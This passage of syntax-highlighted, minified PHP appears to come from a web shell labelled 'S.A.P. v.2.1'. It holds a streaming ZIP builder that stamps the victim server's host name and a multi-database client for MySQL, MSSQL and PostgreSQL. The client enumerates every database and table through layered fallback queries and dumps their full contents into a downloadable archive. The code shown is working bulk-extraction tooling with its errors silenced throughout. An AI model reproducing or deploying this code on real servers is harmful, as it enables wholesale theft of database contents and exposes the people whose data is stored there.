class="keyword">else</span> <span class="variable">$crc</span>=<span class="variable">$cc</span>;}<span class="variable">@fclose</span>(<span class="variable">$f</span>);<span class="variable">$crc</span>=pack(<span class="string">'V'</span>,<span class="variable">$crc</span>);}<span class="variable">$h3</span>=<span class="variable">$crc</span>. pack(<span class="string">'V'</span>,<span class="variable">$cs</span>). pack(<span class="string">'V'</span>,<span class="variable">$s</span>[<span class="number">7</span>]);echo <span class="string">"\x50\x4b\x07\x08"</span>,<span class="variable">$h3</span>;<span class="variable">$this</span>->cr .=<span class="string">"\x50\x4b\x01\x02\x00\x00"</span>.<span class="variable">$h1</span>.<span class="variable">$h3</span>.<span class="variable">$h2</span>.<span class="string">"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"</span>.pack(<span class="string">'V'</span>,<span class="variable">$this</span>->co).<span class="variable">$n</span>;<span class="variable">$this</span>->co +=<span class="variable">$cs</span>+<span class="number">46</span>+strlen(<span class="variable">$n</span>);++<span class="variable">$this</span>->fc;}function of(<span class="variable">$n</span>){<span class="variable">$this</span>->fs[<span class="string">'n'</span>]=<span class="variable">$n</span>;<span class="variable">$h</span>=<span class="string">"\x14\x00\x08\x00\x00\x00"</span>.<span class="variable">$this</span>->pd(time());<span class="variable">$this</span>->cr .=<span class="string">"\x50\x4b\x01\x02\x00\x00"</span>.<span class="variable">$h</span>;<span class="variable">$this</span>->fs[<span class="string">'h2'</span>]=pack(<span class="string">'v'</span>, strlen(<span class="variable">$n</span>)).<span class="string">"\x00\x00"</span>;echo <span class="string">"\x50\x4b\x03\x04"</span>,<span class="variable">$h</span>, <span class="string">"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"</span>,<span class="variable">$this</span>->fs[<span class="string">'h2'</span>],<span class="variable">$n</span>;<span class="variable">$this</span>->fs[<span class="string">'cs'</span>]=<span class="number">0</span>;<span class="variable">$this</span>->fs[<span class="string">'crc'</span>]=<span class="literal">false</span>;}function wf(<span class="variable">$d</span>){<span class="variable">$l</span>=strlen(<span class="variable">$d</span>);<span class="variable">$cc</span>=crc32(<span class="variable">$d</span>);<span class="variable">$this</span>->fs[<span class="string">'cs'</span>] +=<span class="variable">$l</span>;<span class="keyword">if</span>(<span class="variable">$this</span>->fs[<span class="string">'crc'</span>])<span class="variable">$this</span>->fs[<span class="string">'crc'</span>]=<span class="variable">$this</span>->crc32c(<span class="variable">$this</span>->fs[<span class="string">'crc'</span>],<span class="variable">$cc</span>,<span class="variable">$l</span>);<span class="keyword">else</span> <span class="variable">$this</span>->fs[<span class="string">'crc'</span>]=<span class="variable">$cc</span>;echo <span class="variable">$d</span>;}function cf(){<span class="variable">$h</span>=pack(<span class="string">'V'</span>,<span class="variable">$this</span>->fs[<span class="string">'crc'</span>]).pack(<span class="string">'V'</span>,<span class="variable">$this</span>->fs[<span class="string">'cs'</span>]).pack(<span class="string">'V'</span>,<span class="variable">$this</span>->fs[<span class="string">'cs'</span>]);echo <span class="string">"\x50\x4b\x07\x08"</span>,<span class="variable">$h</span>;<span class="variable">$this</span>->cr .=<span class="variable">$h</span>.<span class="variable">$this</span>->fs[<span class="string">'h2'</span>].<span class="string">"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"</span>.pack(<span class="string">'V'</span>,<span class="variable">$this</span>->co).<span class="variable">$this</span>->fs[<span class="string">'n'</span>];<span class="variable">$this</span>->co +=<span class="variable">$this</span>->fs[<span class="string">'cs'</span>]+<span class="number">46</span>+strlen(<span class="variable">$this</span>->fs[<span class="string">'n'</span>]);<span class="variable">$this</span>->fs=array();++<span class="variable">$this</span>->fc;}function pd(<span class="variable">$t</span>){<span class="variable">$t</span>=getdate(<span class="variable">$t</span>);return pack(<span class="string">'v'</span>, (<span class="variable">$t</span>[<span class="string">'hours'</span>]<<<span class="number">11</span>)+(<span class="variable">$t</span>[<span class="string">'minutes'</span>]<<<span class="number">5</span>)+<span class="variable">$t</span>[<span class="string">'seconds'</span>]/<span class="number">2</span>).pack(<span class="string">'v'</span>, ((<span class="variable">$t</span>[<span class="string">'year'</span>]<span class="number">-1980</span>)<<<span class="number">9</span>)+(<span class="variable">$t</span>[<span class="string">'mon'</span>]<<<span class="number">5</span>)+<span class="variable">$t</span>[<span class="string">'mday'</span>]);}function cl(){<span class="variable">$c</span>=<span class="string">"Archive created by S.A.P. v.2.1\nHost: : "</span>.<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>].<span class="string">"\nDate : "</span>.date(<span class="string">'d-m-Y'</span>);<span class="variable">$this</span>->fc=pack(<span class="string">'v'</span>,<span class="variable">$this</span>->fc);echo <span class="variable">$this</span>->cr, <span class="string">"\x50\x4b\x05\x06\x00\x00\x00\x00"</span>,<span class="variable">$this</span>->fc,<span class="variable">$this</span>->fc, pack(<span class="string">'V'</span>, strlen(<span class="variable">$this</span>->cr)), pack(<span class="string">'V'</span>,<span class="variable">$this</span>->co), pack(<span class="string">'v'</span>, strlen(<span class="variable">$c</span>)),<span class="variable">$c</span>;}function crc32c(<span class="variable">$c1</span>,<span class="variable">$c2</span>,<span class="variable">$l</span>){<span class="variable">$o</span>[<span class="number">0</span>]=<span class="number">0xedb88320</span>;<span class="variable">$r</span>=<span class="number">1</span>; <span class="keyword">for</span>(<span class="variable">$i</span>=<span class="number">1</span>;<span class="variable">$i</span><<span class="number">32</span>; ++<span class="variable">$i</span>){<span class="variable">$o</span>[<span class="variable">$i</span>]=<span class="variable">$r</span>;<span class="variable">$r</span><<=<span class="number">1</span>;}<span class="variable">$this</span>->cgms(<span class="variable">$e</span>,<span class="variable">$o</span>);<span class="variable">$this</span>->cgms(<span class="variable">$o</span>,<span class="variable">$e</span>);<span class="keyword">do</span> {<span class="variable">$this</span>->cgms(<span class="variable">$e</span>,<span class="variable">$o</span>);<span class="keyword">if</span>(<span class="variable">$l</span> & <span class="number">1</span>)<span class="variable">$c1</span>=<span class="variable">$this</span>->cgmt(<span class="variable">$e</span>,<span class="variable">$c1</span>);<span class="variable">$l</span>>>=<span class="number">1</span>;<span class="keyword">if</span>(<span class="variable">$l</span>==<span class="number">0</span>)break;<span class="variable">$this</span>->cgms(<span class="variable">$o</span>,<span class="variable">$e</span>);<span class="keyword">if</span> (<span class="variable">$l</span> & <span class="number">1</span>)<span class="variable">$c1</span>=<span class="variable">$this</span>->cgmt(<span class="variable">$o</span>,<span class="variable">$c1</span>);<span class="variable">$l</span>>>=<span class="number">1</span>;}while(<span class="variable">$l</span> !=<span class="number">0</span>);return <span class="variable">$c1</span> ^ <span class="variable">$c2</span>;}function cgms(&<span class="variable">$s</span>, &<span class="variable">$m</span>){<span class="keyword">for</span>(<span class="variable">$i</span>=<span class="number">0</span>;<span class="variable">$i</span><<span class="number">32</span>; ++<span class="variable">$i</span>)<span class="variable">$s</span>[<span class="variable">$i</span>]=<span class="variable">$this</span>->cgmt(<span class="variable">$m</span>,<span class="variable">$m</span>[<span class="variable">$i</span>]);}function cgmt(&<span class="variable">$m</span>,<span class="variable">$v</span>){<span class="variable">$s</span>=<span class="variable">$i</span>=<span class="number">0</span>; while(<span class="variable">$v</span> ){<span class="keyword">if</span>(<span class="variable">$v</span> & <span class="number">1</span>)<span class="variable">$s</span> ^=<span class="variable">$m</span>[<span class="variable">$i</span>];<span class="variable">$v</span>=(<span class="variable">$v</span> >> <span class="number">1</span>) & <span class="number">0x7FFFFFFF</span>; ++<span class="variable">$i</span>;}return <span class="variable">$s</span>;}}class sc {var <span class="variable">$tp</span>=<span class="string">''</span>; var <span class="variable">$cl</span>=<span class="title class_">NULL</span>; var <span class="variable">$cs</span>=<span class="string">''</span>; var <span class="variable">$rs</span>=<span class="title class_">NULL</span>; var <span class="variable">$sv</span>=<span class="title class_">NULL</span>; function init(<span class="variable">$tp</span>){<span class="variable">$this</span>->tp=<span class="variable">$tp</span>;}function cn(<span class="variable">$ha</span>,<span class="variable">$hp</span>,<span class="variable">$un</span>,<span class="variable">$up</span>){switch(<span class="variable">$this</span>->tp){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">$p</span>=empty(<span class="variable">$hp</span>)?<span class="string">''</span><span class="symbol">:<span class="string">':'</span></span>.<span class="variable">$hp</span>;<span class="keyword">if</span>(<span class="variable">$this</span>->cl=<span class="variable">@mysql_connect</span>(<span class="variable">$ha</span>.<span class="variable">$p</span>,<span class="variable">$un</span>,<span class="variable">$up</span>, <span class="title class_">TRUE</span>)){<span class="variable">@mysql_query</span>(<span class="string">'SET NAMES utf8'</span>,<span class="variable">$this</span>->cl);<span class="variable">$this</span>->sv=<span class="variable">@mysql_get_server_info</span>(<span class="variable">$this</span>->cl);}break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="variable">$p</span>=empty(<span class="variable">$hp</span>)?<span class="string">''</span><span class="symbol">:<span class="string">','</span></span>.<span class="variable">$hp</span>;<span class="variable">$this</span>->cl=<span class="variable">@mssql_connect</span>(<span class="variable">$ha</span>.<span class="variable">$p</span>,<span class="variable">$un</span>,<span class="variable">$up</span>, <span class="title class_">TRUE</span>);break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">$p</span>=empty(<span class="variable">$hp</span>)?<span class="string">''</span><span class="symbol">:<span class="string">' port='</span></span>.<span class="variable">$hp</span>;<span class="variable">$this</span>->cs=<span class="variable">$cs</span>=<span class="string">'host='</span>.<span class="variable">$ha</span>.<span class="variable">$p</span>.<span class="string">' user='</span>.<span class="variable">$un</span>.<span class="string">' password='</span>.<span class="variable">$up</span>;<span class="variable">$this</span>->cl=<span class="variable">@pg_connect</span>(<span class="variable">$cs</span>);break;}<span class="keyword">if</span>(<span class="variable">$this</span>->cl) return <span class="title class_">TRUE</span>; <span class="keyword">else</span> return <span class="title class_">FALSE</span>;}function sd(<span class="variable">$n</span>){switch(<span class="variable">$this</span>->tp){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">@mysql_select_db</span>(<span class="variable">$n</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="variable">@mssql_select_db</span>(<span class="variable">$n</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">@pg_close</span>(<span class="variable">$this</span>->cl);<span class="variable">$this</span>->cl=<span class="variable">@pg_connect</span>(<span class="variable">$this</span>->cs.<span class="string">' dbname='</span>.<span class="variable">$n</span>);break;}}function q(<span class="variable">$q</span>){switch(<span class="variable">$this</span>->tp){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">$this</span>->rs=<span class="variable">@mysql_query</span>(<span class="variable">$q</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="variable">$q</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">$this</span>->rs=<span class="variable">@pg_query</span> (<span class="variable">$this</span>->cl,<span class="variable">$q</span>);break;}return <span class="variable">$this</span>->rs;}function ql(<span class="variable">$d</span>,<span class="variable">$t</span>,<span class="variable">$p</span>,<span class="variable">$l</span>){switch(<span class="variable">$this</span>->tp){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">$p</span>=(<span class="variable">$p</span><span class="number">-1</span>)*<span class="variable">$l</span>;<span class="variable">$q</span>=<span class="string">'SELECT * FROM `'</span>.<span class="variable">$d</span>.<span class="string">'`.`'</span>.<span class="variable">$t</span>.<span class="string">'` LIMIT '</span>.<span class="variable">$p</span>.<span class="string">','</span>.<span class="variable">$l</span>; break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="variable">$t</span>=explode(<span class="string">'.'</span>,<span class="variable">$t</span>, <span class="number">2</span>);<span class="variable">$p</span>=<span class="variable">$p</span>*<span class="variable">$l</span>;<span class="variable">$q</span>=<span class="string">'SELECT TOP '</span>.<span class="variable">$l</span>.<span class="string">' * FROM (SELECT TOP '</span>.<span class="variable">$p</span>.<span class="string">' * FROM ['</span>.<span class="variable">$d</span>.<span class="string">'].['</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'].['</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'] ORDER BY 1 DESC)T ORDER BY 1 ASC'</span>; break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">$p</span>=(<span class="variable">$p</span><span class="number">-1</span>)*<span class="variable">$l</span>;<span class="variable">$t</span>=explode(<span class="string">'.'</span>,<span class="variable">$t</span>, <span class="number">2</span>);<span class="variable">$q</span>=<span class="string">'SELECT * FROM "'</span>.<span class="variable">$d</span>.<span class="string">'"."'</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'"."'</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'" LIMIT '</span>.<span class="variable">$l</span>.<span class="string">' OFFSET '</span>.<span class="variable">$p</span>; break;}return <span class="variable">$q</span>;}function ld(){switch(<span class="variable">$this</span>->tp){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">$this</span>->rs=<span class="variable">@function_exists</span>(<span class="string">'mysql_list_dbs'</span>)?<span class="variable">@mysql_list_dbs</span>(<span class="variable">$this</span>->cl) : <span class="variable">@mysql_query</span>(<span class="string">'SHOW DATABASES'</span>,<span class="variable">$this</span>->cl);<span class="keyword">if</span>(<span class="variable">@mysql_num_rows</span>(<span class="variable">$this</span>->rs)==<span class="number">0</span> && <span class="variable">$this</span>->sv[<span class="number">0</span>]><span class="string">'4'</span>)<span class="variable">$this</span>->rs=<span class="variable">@mysql_query</span>(<span class="string">'SELECT schema_name FROM information_schema.schemata'</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">'SELECT name FROM sys.databases'</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">'SELECT name FROM sys.sysdatabases'</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">'EXEC sys.sp_databases'</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">'EXEC sys.sp_helpdb'</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">'EXEC sys.sp_oledb_database'</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate'</span>)) || <span class="variable">@pg_num_rows</span>(<span class="variable">$this</span>->rs)==<span class="number">0</span>)<span class="variable">$this</span>->rs=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT datname FROM pg_catalog.pg_stat_database WHERE numbackends!=0'</span>);break;}return <span class="variable">$this</span>->rs;}function lt(<span class="variable">$n</span>){switch(<span class="variable">$this</span>->tp ){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">$this</span>->rs=<span class="variable">@function_exists</span>(<span class="string">'mysql_list_tables'</span>)?<span class="variable">@mysql_list_tables</span>(<span class="variable">$n</span>,<span class="variable">$this</span>->cl)<span class="symbol">:</span><span class="variable">@mysql_query</span>(<span class="string">'SHOW TABLES FROM `'</span>.<span class="variable">$n</span>.<span class="string">'`'</span>,<span class="variable">$this</span>->cl);<span class="keyword">if</span>(<span class="variable">@mysql_num_rows</span>(<span class="variable">$this</span>->rs)==<span class="number">0</span> && <span class="variable">$this</span>->sv[<span class="number">0</span>]><span class="string">'4'</span>)<span class="variable">$this</span>->rs=<span class="variable">@mysql_query</span>(<span class="string">"SELECT table_name FROM information_schema.tables WHERE table_schema='"</span>.<span class="variable">$n</span>.<span class="string">"'"</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">"SELECT table_schema+'.'+table_name FROM ["</span>.<span class="variable">$n</span>.<span class="string">"].[information_schema].[tables] ORDER BY table_schema"</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">"SELECT schema_name(schema_id)+'.'+name FROM ["</span>.<span class="variable">$n</span>.<span class="string">"].[sys].[tables] ORDER BY schema_id"</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">"SELECT schema_name(schema_id)+'.'+name FROM ["</span>.<span class="variable">$n</span>.<span class="string">"].[sys].[objects] WHERE type='U' ORDER BY schema_id"</span>,<span class="variable">$this</span>->cl)) || <span class="variable">@mssql_num_rows</span>(<span class="variable">$this</span>->rs,<span class="variable">$this</span>->cl)==<span class="number">0</span>)<span class="variable">$this</span>->rs=<span class="variable">@mssql_query</span>(<span class="string">"SELECT schema_name(schema_id)+'.'+name FROM ["</span>.<span class="variable">$n</span>.<span class="string">"].[sys].[all_objects] WHERE type='U' ORDER BY schema_id"</span>,<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">@pg_close</span>(<span class="variable">$this</span>->cl);<span class="variable">$this</span>->cl=<span class="variable">@pg_connect</span>(<span class="variable">$this</span>->cs.<span class="string">' dbname='</span>.<span class="variable">$n</span>);<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT table_schema||\'.\'||table_name FROM "'</span>.<span class="variable">$n</span>.<span class="string">'"."information_schema"."tables" WHERE table_schema!=\'pg_catalog\' AND table_schema!=\'information_schema\' ORDER BY table_schema'</span>)) || <span class="variable">@pg_num_rows</span>(<span class="variable">$this</span>->rs)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT schemaname||\'.\'||tablename FROM "'</span>.<span class="variable">$n</span>.<span class="string">'"."pg_catalog"."pg_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'information_schema\' ORDER BY schemaname'</span>)) || <span class="variable">@pg_num_rows</span>(<span class="variable">$this</span>->rs)==<span class="number">0</span>)<span class="keyword">if</span>((!<span class="variable">$this</span>->rs=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT schemaname||\'.\'||relname FROM "'</span>.<span class="variable">$n</span>.<span class="string">'"."pg_catalog"."pg_stat_all_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname'</span>)) || <span class="variable">@pg_num_rows</span>(<span class="variable">$this</span>->rs)==<span class="number">0</span>)<span class="variable">$this</span>->rs=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT schemaname||\'.\'||relname FROM "'</span>.<span class="variable">$n</span>.<span class="string">'"."pg_catalog"."pg_statio_all_tables" where schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname'</span>);break;}return <span class="variable">$this</span>->rs;}function ts(<span class="variable">$d</span>,<span class="variable">$t</span>){switch(<span class="variable">$this</span>->tp ){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="keyword">if</span>(<span class="variable">$this</span>->sv[<span class="number">0</span>]><span class="string">'4'</span> && <span class="variable">$r</span>=<span class="variable">@mysql_query</span>(<span class="string">"SELECT table_rows FROM information_schema.tables WHERE table_schema='"</span>.<span class="variable">$d</span>.<span class="string">"' AND table_name='"</span>.<span class="variable">$t</span>.<span class="string">"'"</span>,<span class="variable">$this</span>->cl)) return (int)<span class="variable">@mysql_result</span>(<span class="variable">$r</span>, <span class="number">0</span>, <span class="number">0</span>);<span class="keyword">else</span>{<span class="variable">$r</span>=<span class="variable">@mysql_query</span>(<span class="string">'SELECT COUNT(*) FROM `'</span>.<span class="variable">$d</span>.<span class="string">'`.`'</span>.<span class="variable">$t</span>.<span class="string">'`'</span>,<span class="variable">$this</span>->cl);return (int)<span class="variable">@mysql_result</span>(<span class="variable">$r</span>, <span class="number">0</span>, <span class="number">0</span>);}break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="variable">$t</span>=explode(<span class="string">'.'</span>,<span class="variable">$t</span>, <span class="number">2</span>);<span class="variable">$r</span>=<span class="variable">@mssql_query</span>(<span class="string">'SELECT COUNT(*) FROM ['</span>.<span class="variable">$d</span>.<span class="string">'].['</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'].['</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">']'</span>,<span class="variable">$this</span>->cl);return (int)<span class="variable">@mssql_result</span>(<span class="variable">$r</span>, <span class="number">0</span>, <span class="number">0</span>);break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">$t</span>=explode(<span class="string">'.'</span>,<span class="variable">$t</span>, <span class="number">2</span>);<span class="keyword">if</span>(!<span class="variable">$r</span>=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT n_live_tup FROM "'</span>.<span class="variable">$d</span>.<span class="string">'"."pg_catalog"."pg_stat_all_tables" WHERE schemaname=\''</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'\' AND relname=\''</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'\''</span>))<span class="variable">$r</span>=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT COUNT(*) FROM "'</span>.<span class="variable">$d</span>.<span class="string">'"."'</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'"."'</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'"'</span>);return (int)<span class="variable">@pg_fetch_result</span>(<span class="variable">$r</span>, <span class="number">0</span>, <span class="number">0</span>);break;}}function fv(<span class="variable">$o</span>,<span class="variable">$r</span>=<span class="title class_">NULL</span>){<span class="keyword">if</span>(<span class="variable">$r</span>==<span class="title class_">NULL</span>)<span class="variable">$r</span>=<span class="variable">$this</span>->rs;<span class="keyword">if</span>(<span class="variable">$this</span>->tp==<span class="string">'pg'</span>)<span class="variable">$f</span>=<span class="string">'pg_fetch_result'</span>; <span class="keyword">else</span> <span class="variable">$f</span>=<span class="variable">$this</span>->tp.<span class="string">'_result'</span>; return @<span class="variable">$f</span>(<span class="variable">$r</span>,<span class="variable">$o</span>, <span class="number">0</span>);}function <span class="keyword">fn</span>(<span class="variable">$o</span>){<span class="variable">$f</span>=<span class="variable">$this</span>->tp.<span class="string">'_field_name'</span>; return @<span class="variable">$f</span>(<span class="variable">$this</span>->rs,<span class="variable">$o</span>);}function fr(){<span class="variable">$f</span>=<span class="variable">$this</span>->tp.<span class="string">'_fetch_row'</span>; return @<span class="variable">$f</span>(<span class="variable">$r</span>=<span class="variable">$this</span>->rs);}function e(){switch(<span class="variable">$this</span>->tp){<span class="keyword">case</span> <span class="string">'mysql'</span>: return <span class="variable">@mysql_error</span>(<span class="variable">$this</span>->cl);break;<span class="keyword">case</span> <span class="string">'mssql'</span>: return <span class="variable">@mssql_get_last_message</span>();break;<span class="keyword">case</span> <span class="string">'pg'</span>: return <span class="variable">@pg_last_error</span>(<span class="variable">$this</span>->cl);break;}}function dt(<span class="variable">$d</span>,<span class="variable">$t</span>, &<span class="variable">$f</span>){switch(<span class="variable">$this</span>->tp ){<span class="keyword">case</span> <span class="string">'mysql'</span>: <span class="variable">$f</span>->wf(<span class="string">"\n-- \n-- `"</span>.<span class="variable">$d</span>.<span class="string">"`.`"</span>.<span class="variable">$t</span>.<span class="string">"`\n-- \nDROP TABLE IF EXISTS `"</span>.<span class="variable">$t</span>.<span class="string">"`;\n"</span>);<span class="variable">@mysql_query</span>(<span class="string">'SET SQL_QUOTE_SHOW_CREATE=1'</span>,<span class="variable">$this</span>->cl);<span class="variable">$q</span>=<span class="variable">@mysql_query</span>(<span class="string">'SHOW CREATE TABLE `'</span>.<span class="variable">$d</span>.<span class="string">'`.`'</span>.<span class="variable">$t</span>.<span class="string">'`'</span>,<span class="variable">$this</span>->cl);<span class="variable">$q</span>=<span class="variable">@mysql_fetch_row</span>(<span class="variable">$q</span>);<span class="variable">$f</span>->wf(preg_replace(<span class="string">'/(default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP|DEFAULT CHARSET=\w+|COLLATE=\w+|character set \w+|collate \w+)/i'</span>, <span class="string">'/*!40101 \\1 */'</span>,<span class="variable">$q</span>[<span class="number">1</span>]).<span class="string">";\n\n"</span>);<span class="variable">$q</span>=<span class="variable">@mysql_unbuffered_query</span>(<span class="string">'SELECT * FROM `'</span>.<span class="variable">$d</span>.<span class="string">'`.`'</span>.<span class="variable">$t</span>.<span class="string">'`'</span>,<span class="variable">$this</span>->cl);<span class="keyword">if</span>(<span class="variable">$r</span>=<span class="variable">@mysql_fetch_row</span>(<span class="variable">$q</span>)){<span class="variable">$f</span>->wf(<span class="string">'INSERT INTO `'</span>.<span class="variable">$t</span>.<span class="string">'` VALUES '</span>);<span class="variable">$r</span>=array_map(<span class="string">'mysql_real_escape_string'</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(<span class="string">"\n('"</span>.implode(<span class="string">"', '"</span>,<span class="variable">$r</span>).<span class="string">"')"</span>);while(<span class="variable">$r</span>=<span class="variable">@mysql_fetch_row</span>(<span class="variable">$q</span>)){<span class="variable">$r</span>=array_map(<span class="string">'mysql_real_escape_string'</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(<span class="string">",\n('"</span>.implode(<span class="string">"', '"</span>,<span class="variable">$r</span>).<span class="string">"')"</span>);}<span class="variable">$f</span>->wf(<span class="string">";\n"</span>);}break;<span class="keyword">case</span> <span class="string">'mssql'</span>: <span class="variable">$t</span>=explode(<span class="string">'.'</span>,<span class="variable">$t</span>, <span class="number">2</span>);<span class="variable">$f</span>->wf(<span class="string">"\n-- \n-- "</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">"."</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"\n-- \nIF EXISTS(SELECT table_name FROM information_schema.tables WHERE table_name='"</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"') DROP TABLE ["</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"];\nCREATE TABLE ["</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"] ( "</span>);<span class="variable">$q</span>=<span class="string">"SELECT '['+column_name+']', '['+data_type+']', case when character_maximum_length IS NOT NULL then '('+ cast( character_maximum_length as varchar(255)) +')' end, case when is_nullable='no' then 'NOT NULL' end, case when column_default IS NOT NULL then 'DEFAULT '+column_default end FROM "</span>.<span class="variable">$d</span>.<span class="string">".information_schema.columns WHERE table_schema='"</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">"' AND table_name='"</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"'"</span>;<span class="variable">$q</span>=<span class="variable">@mssql_query</span>(<span class="variable">$q</span>,<span class="variable">$this</span>->cl);<span class="variable">$c</span>=array();while(<span class="variable">$r</span>=<span class="variable">@mssql_fetch_row</span>(<span class="variable">$q</span>))<span class="variable">$c</span>[]=implode(<span class="string">' '</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(implode(<span class="string">', '</span>,<span class="variable">$c</span>).<span class="string">");\n\n"</span>);<span class="variable">$q</span>=<span class="variable">@mssql_query</span>(<span class="string">'SELECT * FROM ['</span>.<span class="variable">$d</span>.<span class="string">'].['</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'].['</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">']'</span>,<span class="variable">$this</span>->cl);<span class="keyword">if</span>(<span class="variable">$r</span>=<span class="variable">@mssql_fetch_row</span>(<span class="variable">$q</span>)){<span class="variable">$f</span>->wf(<span class="string">'INSERT INTO ['</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'] VALUES '</span>);<span class="variable">$r</span>=array_map(<span class="string">'addslashes'</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(<span class="string">"\n('"</span>.implode(<span class="string">"', '"</span>,<span class="variable">$r</span>).<span class="string">"')"</span>);while(<span class="variable">$r</span>=<span class="variable">@mssql_fetch_row</span>(<span class="variable">$q</span>)){<span class="variable">$r</span>=array_map(<span class="string">'addslashes'</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(<span 